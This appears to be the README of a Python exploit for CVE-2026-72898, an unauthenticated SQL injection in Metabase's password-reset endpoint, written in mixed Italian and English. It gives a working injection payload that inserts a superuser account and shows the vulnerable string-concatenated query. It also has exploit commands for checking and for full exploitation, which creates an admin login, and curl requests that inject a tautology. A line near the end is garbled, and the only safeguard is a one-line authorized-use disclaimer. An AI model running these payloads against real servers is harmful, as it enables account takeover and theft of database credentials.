
Exploit Python per CVE-2026-72898, un'iniezione SQL non autenticata nell'endpoint di reimpostazione della password di Metabase che crea account amministratore ed estrae le credenziali del database.

SQL injection non autenticata nell'endpoint /api/session/reset_password di Metabase. Crea account amministratore ed estrae le credenziali del database.
Affected: v58.0 - v63.3 | Patched: v58.24+, v59.21+, v60.17+, v61.11+, v62.9+, v63.5+
pip install flask requests
python3 CVE-2026-72898.py http://localhost:5000 --check
Concatenazione di stringhe nella query SQL:
# Vulnerable code
query = f"SELECT * FROM core_user WHERE email='{email}'"
Payload di attacco:
'; INSERT INTO core_user (email, password, is_superuser) VALUES ('admin@hack', 'hash', 1); --
Check only (no modification):
python3 CVE-2026-72898.py http://localhost:5000 --check
Full exploitation:
python3 CVE-2026-72898.py http://localhost:5000 -e [email protected] -p Password123!
Manual testing:
# Verify endpoint
curl http://localhost:5000/api/health
# Test SQLi
curl -X POST http://localhost:5000/api/session/reset_password \
-H "Content-Type: application/json" \
-d '{"email": "'"'"' OR '"'"'1'"'"'='"'"'1"}'
NOW:
/api/session/reset_password tramite WAFLATER:
Authorized use only. Unauthorized access is illegal.